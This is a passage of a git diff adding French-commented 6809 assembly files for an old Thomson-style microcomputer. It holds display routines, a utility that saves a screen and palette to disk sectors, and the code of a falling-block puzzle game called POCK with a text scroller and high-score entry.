+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD    ligne 7
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #-4
+       BNE    *-31
+       STA    <$DD    ligne 8
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD    ligne 9
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #0
+       BNE    *-31
+       STA    <$DD    ligne 10
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD    ligne 11
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #0
+       BNE    *-31
+       STA    <$DD    ligne 12
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD    ligne 13
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       DEC    <$E5
+       LBNE   *-28
+       NOP
+       STA    <$DD    ligne 14
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #0
+       BNE    *-31
+       STA    <$DD    ligne 15
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD
+       NOP
+       RTS
+
+PUTC   PSHS   X       affiche une lettre
+       STS    RS1+2   (reg B) à l'écran
+       LDX    #0      (reg Y). X sauvé
+       LDA    #5*37
+       MUL
+       LEAS   D,X
+       LDB    #37
+CHRLIN PULS   A,X,U
+       STA    -1,Y
+       STX    ,Y
+       STU    2,Y
+       PULS   A,X,U
+       STA    $1FFF,Y
+       STX    $2000,Y
+       STU    $2002,Y
+       LEAY   40,Y
+       DECB
+       BNE    CHRLIN
+       LEAY   -37*40+5,Y
+RS1    LDS    #0
+       PULS   X,PC
+
+CLRSCR STS    RS2+2     effacement total
+       LDU    #COLORS-6     de l'écran
+       PULU   D,X,Y,S
+       LDU    #$DF40
+CLSB   FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       CMPU   #$C000
+       BNE    CLSB
+       LDU    #$BF40
+CLSA   FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       CMPU   #$A000
+       BNE    CLSA
+RS2    LDS    #0
+       RTS
+
+       FCB    0,32,-32
+       FDB    0,0,0
+COLORS FDB    0,$F00,$2F,$3F,$4F,$5F,$6F
+       FDB    $7F,$8F,$9F,$AF,$BF,$CF
+       FDB    $DF,$EF,$800
+       FDB    0,15,$222,$333,$444,$555
+       FDB    $666,$777,$888,$999,$AAA
+       FDB    $BBB,$CCC,$DDD,$EEE,8
+NORPAL FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911
+       END
diff --git a/code/3rdparty/sources2-hcl/PICENSEC.ASM b/code/3rdparty/sources2-hcl/PICENSEC.ASM
new file mode 100644
index 0000000..d57bb6f
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PICENSEC.ASM
@@ -0,0 +1,44 @@
+****************************************
+*                                      *
+* Sauvegarde écran+palette en secteurs *
+*                                      *
+*************(MEGASHOW1)****************
+
+       ORG    $9F00
+
+G      ORCC   #80
+       LDD    #$138   face et piste
+       STA    $6049
+       STB    $604B
+       LDX    #$A000
+       STX    $604F
+
+       LDU    #$DF40  debut palette
+       CLR    $E7E5
+       CLRA
+       LDX    #$FFFF
+       LDY    #0
+       JSR    $EC00
+       STX    ,U++
+       INCA
+       CMPA   #16
+       BNE    *-15
+
+       LDD    #$108   ecriture secteur 1
+       STB    $6048
+       LDB    #64     car $4000=256*64
+SAVEP  STA    $604C
+       JSR    $E004
+       INCA
+       CMPA   #17
+       BNE    *+7
+       LDA    #1
+       INC    $604B
+       INC    $604F
+       DECB
+       BNE    SAVEP
+       LDB    $604B   1ere piste libre
+       STB    G+4      une fois fini
+       RTS
+
+       END
diff --git a/code/3rdparty/sources2-hcl/POCK1.ASM b/code/3rdparty/sources2-hcl/POCK1.ASM
new file mode 100644
index 0000000..a40447b
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/POCK1.ASM
@@ -0,0 +1,512 @@
+****************************************
+*              P  O  C  K              *
+****************************************
+              * externe *
+              ***********
+
+SCORE  EQU    $7905
+TEXTE  EQU    $8000   contenu du scroll
+RANDOM EQU    $8A00   table du hasard
+INTRO  EQU    $8F75   préface (auteur)
+FONTE  EQU    $9000   lettres du scroll
+POCK   EQU    $9CFA   code du jeu POCK
+G      EQU    $7BA4   le "shell" de pock
+DIR    EQU    $9D     accès page direct
+Z      EQU    $80     pour les variables
+IMAGE  EQU    $9D77   MAP de l'écran
+
+RAMA   EQU    $C14F
+RAMB   EQU    RAMA-$2000
+COULIB EQU    192     couleur segmt vide
+BORDER EQU    184     hors carré de jeu
+
+       ORG    G
+
+       ORCC   #80
+       LDS    #$6505
+       LDX    #SCORE-5
+       STX    $604F
+       JSR    $E004
+       LDD    #$4845
+       CMPD   SCORE+248
+       BEQ    *+3
+       RTS
+       LDA    #DIR
+       TFR    A,DP
+       LDD    #32
+       STA    $E7DB
+       STA    $E7DA
+       DECB
+       BNE    *-4
+       LDX    #IMAGE
+       STX    $616B
+       LDD    #$FF0F
+       STA    $6249
+       STA    $6288
+       STB    $E7E5
+       DECB
+       STB    $616D
+       LDD    #$100
+       STD    $61D6
+       LDB    #69
+       JSR    $EC0C
+       LDD    #0
+       STD    <Z+23
+       STD    <Z+25
+       INCB
+       STD    <Z+27
+       LDD    #TEXTE
+       STD    <Z+29
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDA    #3
+       STA    $E7E5
+       LDU    #$5F40
+       LDX    #$DF40
+       LDA    ,-U
+       STA    ,-X
+       CMPX   #$C000
+       BHI    *-7
+       LDA    #BORDER
+       STA    ,-X
+       CMPX   #$A000
+       BNE    *-5
+       LDU    #RAMB+10
+       LDX    #COULIB*256+COULIB
+       JSR    CLRSCR
+       LDY    #$4000  copie de
+       LDX    #$CC91          GAME OVER
+       LDD    #$2006
+       JSR    COPY
+       LDX    #$D190          PRESS FIRE
+       LDD    #$2008
+       JSR    COPY
+
+       LDD    #$280
+       STA    $E7E5
+       STB    $E7DD
+       LDX    #$A000
+       LDD    #BORDER*256+BORDER
+       STD    ,X++
+       CMPX   #$C000
+       BNE    *-5
+       LDD    #0
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-5
+       LDY    #INTRO
+PRES   LDX    #$C050
+       LDB    ,Y+
+       ANDB   #127
+       ABX
+       LDA    ,Y+
+       LDB    #160
+       MUL
+       LEAX   D,X
+       LDB    ,Y+
+       BLT    *+7
+       JSR    PUTC
+       BRA    *-7
+       LEAY   -1,Y
+       CMPY   #FONTE-1
+       BLO    PRES
+       LDX    #$48D1
+       LDY    #$CF10
+       LDA    #24
+       LDB    #3
+       LDU    ,X++
+       STU    ,Y++
+       DECB
+       BNE    *-5
+       LEAX   34,X
+       LEAY   34,Y
+       DECA
+       BNE    *-16
+       LDA    #3
+       STA    $E7E5
+
+       LDX    #COLORS
+       LDA    #255
+       JSR    $EC00
+       LDX    #RANDOM
+ENCORE LDA    ,X+
+       BEQ    *-5
+       JSR    $E806
+       BCC    *-7
+       LDA    #$C0
+       STA    $E7DD
+       STX    <Z+10
+       CMPB   #$90
+       BHI    *+4
+       LDB    #$90
+       SUBB   #$8F
+       CLRA
+       CMPB   #10
+       BLO    *+5
+       LDD    #$100
+       JSR    POCK
+
+       LDU    #$B49C  effacement du next
+       LDA    #16
+       LDX    #COULIB*256+COULIB
+       LEAY   ,X
+       PSHU   Y,X
+       LEAU   44,U
+       DECA
+       BNE    *-6
+       CLR    <Z+9
+       LDX    #SCORE+10
+       JSR    MAJOR
+       BCC    FINCMP
+       LDB    #7
+       STB    <Z+9
+       LEAU   -10,X
+       LEAX   20,X
+       JSR    MAJOR
+       BCC    *+8
+       DEC    <Z+9
+       BNE    *-12
+       INC    <Z+9
+
+       STU    <Z+4
+       LDX    #SCORE
+OUINS  CMPX   <Z+4
+       BEQ    METNOM
+       LDB    #20
+       LDA    20,X
+       STA    ,X+
+       DECB
+       BNE    *-6
+       BRA    OUINS
+METNOM LDA    #8      nom en attente
+       LDB    #10
+       STA    ,X+
+       DECB
+       BNE    *-3
+       LDD    <Z+32
+       ADDD   #$C0C
+       STD    ,X++
+       LDD    <Z+34
+       ADDD   #$C0C
+       STD    ,X++
+       LDD    <Z+36
+       ADDD   #$C0C
+       STD    ,X++
+       LDA    <Z+38
+       ADDA   #12
+       CLRB
+       STD    ,X++
+       LDD    <Z+41
+       ADDD   #$C0C
+       STD    ,X++
+
+FINCMP
+       LDU    #RAMB+10
+       LDX    #COULIB*256+COULIB
+       JSR    SYNSCR
+       LDU    #RAMA+10
+       LDX    #0
+       JSR    CLRSCR
+
+       LDX    #RAMA+163
+       LDY    #SCORE+140
+       LDA    #BORDER
+       LDU    #$406
+       STU    <Z
+       LDB    ,Y+     high scores
+       JSR    COLPUT
+       DEC    <Z
+       BNE    *-7
+       LDX    #RAMA+482
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z+1
+       BNE    *-7
+       LDX    #RAMA+1040
+       LDY    #SCORE+120
+       LDA    #7
+       STA    <Z+2
+       LDA    #200
+
+AFFSCO LDU    #$A0A
+       STU    <Z
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z
+       BNE    *-7
+       LEAX   270,X
+       SUBA   #72
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z+1
+       BNE    *-7
+       LEAX   390,X
+       ADDA   #80
+       LEAY   -40,Y
+       DEC    <Z+2
+       BNE    AFFSCO
+
+       TST    <Z+9
+       LBEQ   FINSCO
+       LDX    #RAMA+145*40
+       LDY    #SCORE+160
+       LDD    #$A04
+       STD    <Z
+       LDA    #BORDER
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z
+       BNE    *-7
+       LDX    #RAMA+6123
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z+1
+       BNE    *-7
+       JSR    $E806
+       BCS    *-3
+       LDA    <Z+9
+       LDX    #RAMA+1040
+       DECA
+       ASLA
+       ASLA
+       LDB    #170
+       MUL
+       LEAX   D,X     à l'écran
+       STX    <Z+6
+       LDY    <Z+4    en mémoire
+       LDB    #10
+       STB    <Z      lettres restantes
+       BRA    GETNOM
+
+       LEAY   -1,Y
+       LEAX   -1,X
+GETNOM JSR    $E806
+       CMPB   #13
+       BEQ    FINNOM
+       CMPB   #8
+       BEQ    DELETE
+       CMPB   #29
+       BEQ    DELETE
+       JSR    KELCHR
+       TSTB
+       BLT    GETNOM
+       STB    ,Y+
+       JSR    PUTC
+       TST    <Z
+       BEQ    GETNOM-4
+       DEC    <Z
+       BNE    GETNOM
+       BRA    GETNOM-4
+DELETE LDA    <Z
+       BEQ    *+10
+       CMPA   #10
+       BEQ    GETNOM
+       LEAX   -1,X
+       LEAY   -1,Y
+       LDB    #8
+       JSR    PUTC
+       CLR    ,Y+
+       INC    <Z
+       BRA    GETNOM-4
+FINNOM LDA    <Z
+       BEQ    *+7
+       CLR    ,Y+
+       DECA
+       BNE    *-3
+       LDX    <Z+6
+       LDY    <Z+4
+       LDA    #10
+       LDB    ,Y+
+       JSR    PUTC
+       DECA
+       BNE    *-6
+WRITE  LDU    #RAMA+143*40+10
+       LDX    #0
+       LEAY   ,X
+       LDD    #16
+       PSHU   Y,X,A
+       PSHU   Y,X,A
+       LEAU   50,U
+       DECB
+       BNE    *-8
+       LDX    #SCORE-261
+       STX    $604F
+       LDB    #2
+       STB    $6048
+       CLR    SCORE-8
+       JSR    $E82A
+       LDD    #$4845
+       CMPD   SCORE-8
+       BNE    DSKERR
+       LDB    #8
+       STB    $6048
+       LDX    #SCORE-5
+       STX    $604F
+       JSR    $E82A
+       BCC    FINSCO
+DSKERR LDY    #SCORE+174
+       LDD    #$A0A
+       STD    <Z
+       LDX    #RAMA+145*40
+       LDA    #BORDER
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z
+       BNE    *-7
+       LDX    #RAMA+153*40
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z+1
+       BNE    *-7
+       JSR    $E806
+       BCS    *-3
+       JSR    $E806
+       BCC    *-3
+       BRA    WRITE
+
+FINSCO LDA    #64
+       BITA   $E7CD
+       BEQ    *-3
+       LDX    #2496*50
+       LEAX   -1,X
+       BNE    *-2
+       LDX    #RAMA+153*40
+       LDY    #SCORE+150      press fire
+       LDD    #BORDER*256+10
+       STB    <Z
+       LDB    ,Y+
+       JSR    COLPUT
+       DEC    <Z
+       BNE    *-7
+
+       LDA    #64
+       BITA   $E7CD
+       BNE    *-3
+       LDA    #$80
+       STA    $E7DD
+       LDU    #RAMB+10
+       LDX    #COULIB*256+COULIB
+       JSR    CLRSCR
+       JSR    $E806
+       BCS    *-3
+       LDX    <Z+10
+       JMP    ENCORE
+
+KELCHR CMPB   #45
+       BNE    *+5
+       LDB    #48
+       RTS
+       CMPB   #42
+       BNE    *+5
+       LDB    #49
+       RTS
+       CMPB   #33
+       BNE    *+5
+       LDB    #1
+       RTS
+       CMPB   #39
+       BNE    *+5
+       LDB    #4
+       RTS
+       CMPB   #32
+       BNE    *+4
+       CLRB
+       RTS
+       CMPB   #48
+       BLO    NULL
+       CMPB   #90
+       BHI    NULL
+       CMPB   #58
+       BLO    OKAY
+       CMPB   #65
+       BLO    NULL
+       SUBB   #7
+OKAY   SUBB   #36
+       RTS
+NULL   LDB    #-1
+       RTS
+MAJOR  LDD    ,X      C=1 si score >= X
+       SUBD   #$C0C
+       CMPA   <Z+32
+       BHI    NON
+       BLO    OUI
+       CMPB   <Z+33
+       BHI    NON
+       BLO    OUI
+       LDD    2,X
+       SUBD   #$C0C
+       CMPA   <Z+34
+       BHI    NON
+       BLO    OUI
+       CMPB   <Z+35
+       BHI    NON
+       BLO    OUI
+       LDD    4,X
+       SUBD   #$C0C
+       CMPA   <Z+36
+       BHI    NON
+       BLO    OUI
+       CMPB   <Z+37
+       BHI    NON
+       BLO    OUI
+       LDA    6,X
+       SUBA   #12
+       CMPA   <Z+38
+       BHI    NON
+OUI    ORCC   #1
+       RTS
+NON    ANDCC  #254
+       RTS
+SYNSCR TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+CLRSCR LEAY   ,X
+       TFR    X,D
+       LDB    #160
+       PSHU   Y,X,A
+       PSHU   Y,X,A
+       LEAU   50,U
+       DECB
+       BNE    *-8
+       RTS
+COPY   STD    <Z
+       LDB    <Z+1
+       STX    <Z+2
+       LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    *-5
+       LDX    <Z+2
+       LEAX   40,X
+       DEC    <Z
+       BNE    COPY+2
+       RTS
+COLPUT LEAX   -$2000,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X
+       STA    40,X
+       STA    80,X
+       LEAX   $2000,X
+PUTC   PSHS   D
+       LDU    #FONTE
+       LDA    #5
+       MUL
+       LEAU   D,U
+       PULU   D
+       STA    -80,X
+       STB    -40,X
+       PULU   D
+       STA    ,X+
+       STB    39,X
+       LDA    ,U
+       STA    79,X
+       PULS   D,PC
+
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,123,5,80,85,1280,1285
+       FDB    1360,52,4095
+
+       END
diff --git a/code/3rdparty/sources2-hcl/POCK2.ASM b/code/3rdparty/sources2-hcl/POCK2.ASM
new file mode 100644
index 0000000..8f3def0
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/POCK2.ASM
@@ -0,0 +1,918 @@
+****************************************
+*              P  O  C  K              *
+****************************************
+               * kernel *
+               **********
+
+TEXTE  EQU    $8000   contenu du scroll
+RANDOM EQU    $8A00   table du hasard
+FONTE  EQU    $9000   lettres du scroll
+LEVELS EQU    $90FC   gains et vitesses
+DESSIN EQU    $9200   morceaux de pièces
+FORME  EQU    $9344   silhouettes
+CHIFF  EQU    $949A   les 9 chiffres
+PIECES EQU    $94E0   7 figures de base
+SYNCRO EQU    $95F5   début du code ASM
+DIR    EQU    $9D     accès page direct
+Z      EQU    $80     pour les variables
+
+RAMA   EQU    $C14F
+RAMB   EQU    RAMA-$2000
+COULIB EQU    192     couleur segmt vide
+GHOST  EQU    71      brique s'en allant
+BORDER EQU    184     couleur tour carré
+REBDEP EQU    4       anti-rebond direc@
+REBROT EQU    9       anti-rebond rota@
+
+       ORG    SYNCRO
+
+       TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+
+DEFIL  LDX    #$DE3C            scroll ^
+       LDU    #DIR*256+Z+23
+       LDA    #5
+       ASL    ,U+
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL    9,X
+       ROL    8,X
+       ROL    7,X
+       ROL    6,X
+       ROL    5,X
+       ROL    4,X
+       ROL    3,X
+       ROL    2,X
+       ROL    1,X
+       ROL    ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       LEAX   40,X
+       DECA
+       BNE    DEFIL+8
+       DEC    <Z+28
+       BNE    DEFILN
+       LDX    <Z+29
+       LDB    ,X+
+       BNE    *+7
+       LDX    #TEXTE
+       BRA    *-7
+       STX    <Z+29
+       LDA    #5
+       MUL
+       LDU    #FONTE-5
+       LEAU   D,U
+       PULU   D,X
+       STD    <Z+23
+       STX    <Z+25
+       LDA    ,U
+       STA    <Z+27
+       LDA    #8
+       STA    <Z+28
+
+DEFILN LDA    <Z+31
+       BEQ    EFFDEB
+       DEC    <Z+31
+       LBNE   SYNCRO
+       JMP    ,Y
+
+**** Effacement de l'objet ***
+
+EFFDEB LDX    <Z+2    adresse écran RAMB
+       LDU    <Z+4    silhouette objet
+       LDA    #4
+       STA    <Z+1
+       LDA    #COULIB
+       LDB    #4
+       STB    <Z
+
+EFFLIG LDB    ,U+
+       BEQ    EFFVID
+       STA    -120,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X
+       STA    40,X
+       STA    80,X
+       STA    120,X
+       STA    160,X
+EFFVID LEAX   1,X
+       DEC    <Z
+       BNE    EFFLIG
+       LEAX   316,X
+       DEC    <Z+1
+       BNE    EFFLIG-4
+
+**** Rotation de l'objet ****
+
+       LDB    <Z+13
+       BNE    ROTFIN  c'est un rebond
+       LDA    $E7CD   action 0
+       LDX    <Z+2
+       LDU    <Z+4
+       BITA   #64
+       BNE    ROTFIN+2
+       LDU    -2,U
+       LEAS   ,U
+       LDA    #4
+       STA    <Z
+       LDB    #4
+
+ROTLIG LDA    ,S+
+       BEQ    ROTVID
+       LDA    -120,X  haut du cube
+       CMPA   #COULIB
+       BNE    ROTFIN+2
+       LDA    160,X   bas du cube
+       CMPA   #COULIB
+       BNE    ROTFIN+2
+
+ROTVID LEAX   1,X
+       DECB
+       BNE    ROTLIG
+       LEAX   316,X
+       DEC    <Z
+       BNE    ROTLIG-2
+       STU    <Z+4
+       LDB    #REBROT
+       STB    <Z+13
+       BRA    *+4
+
+ROTFIN DEC    <Z+13
+
+**** Déplacements latéraux ****
+
+       LDA    $E7CC   joystick 0
+       LDX    <Z+2
+       LDU    <Z+4
+       BITA   #4
+       BNE    *+6
+       LEAX   -1,X
+       BRA    *+8
+       BITA   #8
+       BNE    DEPFIN
+       LEAX   1,X
+       LEAY   ,X
+       DEC    <Z+12
+       BGT    DEPFIN+2 c'est un rebond
+       LDA    #4
+       STA    <Z
+       LDB    #4
+
+DEPLIG LDA    ,U+
+       BEQ    DEPVID
+       LDA    -120,Y  haut du cube
+       CMPA   #COULIB
+       BNE    DEPFIN
+       LDA    160,Y   bas du cube
+       CMPA   #COULIB
+       BNE    DEPFIN
+
+DEPVID LEAY   1,Y
+       DECB
+       BNE    DEPLIG
+       LEAY   316,Y
+       DEC    <Z
+       BNE    DEPLIG-2
+       STX    <Z+2
+       LDB    #REBDEP
+       STB    <Z+12
+       BRA    *+4
+
+DEPFIN CLR    <Z+12
+
+**** Chute de l'objet ****
+
+       LDX    <Z+2
+       LDA    $E7CC
+       BITA   #2
+       BNE    CHUNAT
+       LDA    <Z+14   flag même pression
+       BNE    CHUNAT+2
+       LEAX   320,X   commandée
+       BRA    CHUFIN
+
+CHUNAT CLR    <Z+14
+       LDB    <Z+8    naturelle
+       CLRA
+       ADDD   <Z+6    vitesse de chute
+       STB    <Z+8
+       LDB    #40
+       MUL
+       LEAX   D,X
+CHUFIN STX    <Z+2
+
+**** Ajustage si fin de chute ****
+
+       LDU    <Z+4    forme de l'objet
+       LDX    <Z+2    adresse écran RAMB
+       LEAS   12,U
+       LEAY   1120,X
+       LDA    #4
+       STA    <Z
+       LEAX   ,Y
+       LEAU   ,S
+       LDB    #4
+
+AJUCOL LDA    ,U
+       BEQ    AJUVID
+       LDB    #1      fin de colonne
+       LDA    ,X      bas de plancher
+       CMPA   #COULIB
+       BEQ    AJUVID
+       STB    <Z+9    flag fin de chute
+       CLRB
+       LEAX   -40,X
+       LDA    ,X
+       INCB
+       CMPA   #COULIB
+       BNE    *-8
+       LDA    #40
+       MUL
+       COMA
+       NEGB
+       LDX    <Z+2
+       LEAX   D,X
+       STX    <Z+2
+       BRA    AJUFIN
+
+AJUVID LEAX   -320,X
+       LEAU   -4,U
+       DECB
+       BNE    AJUCOL
+       LEAU   17,U
+       LEAY   1,Y     colonne suivante
+       LEAS   1,S
+       DEC    <Z
+       BNE    AJUCOL-6
+AJUFIN
+
+**** Affichage de l'objet ****
+
+       LDX    <Z+2    adresse écran RAMB
+       LEAY   $2000,X
+       LDS    <Z+4    forme de l'objet
+       LDA    #4
+       STA    <Z+1
+       LDB    #4
+       STB    <Z
+
+AFFLIG LDB    ,S+
+       BEQ    AFFVID
+       LDA    #6
+       MUL
+       LDU    #DESSIN-6
+       LEAU   D,U
+       PULU   D
+       STA    -120,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X
+       STA    40,X
+       STA    80,X
+       STA    120,X
+       STA    160,X
+       STB    -120,Y
+       PULU   D
+       STA    -80,Y
+       STB    -40,Y
+       STB    ,Y
+       STB    40,Y
+       STB    80,Y
+       LDD    ,U
+       STA    120,Y
+       STB    160,Y
+
+AFFVID LEAX   1,X
+       LEAY   1,Y
+       DEC    <Z
+       BNE    AFFLIG
+       LEAX   316,X
+       LEAY   316,Y
+       DEC    <Z+1
+       BNE    AFFLIG-4
+       LDA    <Z+9
+       LBEQ   SYNCRO
+
+**** Ravages causés par l'objet ****
+
+       CLR    <Z+9    aucune ligne faite
+       LDU    <Z+2    cube du milieu sur
+       LEAU   1,U      la ligne du haut
+       LDA    #4
+       STA    <Z+1
+RAVCOL LEAX   ,U
+       LEAY   ,U
+       LDA    ,X
+       CMPA   #BORDER
+       LBEQ   RAVGRU  déjà => hors cadre
+       LDA    ,X+
+       CMPA   #COULIB
+       LBEQ   RAVGRU
+       CMPA   #BORDER
+       BNE    *-10
+       LDA    ,-Y     couleurs à gauche?
+       CMPA   #COULIB
+       LBEQ   RAVGRU
+       CMPA   #BORDER
+       BNE    *-10
+       LDA    #10
+       STA    <Z
+       LEAX   -11,X
+       LEAY   $2001,Y
+       INC    <Z+9
+       STX    <Z+18
+RAVLIG LDA    200,X   remodelage dessin
+       CMPA   #BORDER des figures pour
+       BEQ    RAVSUS  cause de chute
+       CLRA
+       LDB    240,Y
+       BEQ    *+3
+       INCA
+       STA    200,Y
+RAVSUS LDA    -160,X
+       CMPA   #BORDER
+       BEQ    RAVCUB
+       LDA    #$FF
+       STA    -160,Y
+       LDB    -160,X
+       CMPB   -161,X  mm couleur gauche?
+       BNE    *+8
+       LDB    -241,Y
+       BEQ    *+4
+       LDA    #$7F    mais pas de lien .
+       STA    -200,Y
+RAVCUB LDA    #GHOST  blanchir la ligne
+       STA    -120,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X+
+       STA    39,X
+       STA    79,X
+       STA    119,X
+       STA    159,X
+       LDD    #$103
+       STA    -120,Y
+       STB    -80,Y
+       STB    -40,Y
+       STB    ,Y+
+       STB    39,Y
+       STB    79,Y
+       LDD    #$7FFF
+       STA    119,Y
+       STB    159,Y
+       DEC    <Z
+       LBNE   RAVLIG
+RAVGRU LEAU   320,U
+       DEC    <Z+1
+       LBNE   RAVCOL
+
+**** Tombée des lignes supérieures ****
+
+       LDA    <Z+9
+       LBEQ   STATUS  rien ne bouge
+       LDY    #TOMDEB
+       LDA    #5
+       STA    <Z+31
+       JMP    SYNCRO
+
+TOMDEB LDU    <Z+18   source
+       LEAU   -120,U  haut de la ligne
+       LEAS   5,U     destination
+TOMLIG LEAU   -320,U
+       LDA    ,U
+       CMPA   #BORDER haut du cadre
+       BEQ    TOMDER
+       CMPA   #GHOST
+       BNE    TOMCPY
+       BRA    TOMLIG
+
+TOMDER LDX    #COULIB*256+COULIB
+       LEAY   ,X
+       LDB    #COULIB
+       LDA    <Z+9
+       LDU    #RAMB+50
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       PSHU   Y,X,B
+       PSHU   Y,X,B
+       LEAU   50,U
+       DECA
+       BNE    *-57
+       LDY    #SCOMAJ
+       LDA    #5
+       STA    <Z+31
+       JMP    SYNCRO
+
+TOMCPY PULU   B,X,Y   copie des couleurs
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   10,S
+       PULU   X,Y,B
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+
+       LEAU   $1FF6,U
+       LEAS   $2000,S
+       PULU   B,X,Y   copie des formes
+       PSHS   Y,X,B
+       LEAS   10,S
+       PULU   B,X,Y
+       PSHS   Y,X,B
+       LEAU   30,U
+       LEAS   40,S
+       PULU   B,X,Y
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       LEAS   45,S
+       PSHS   Y,X,B
+       PULU   B,X,Y
+       LEAS   10,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
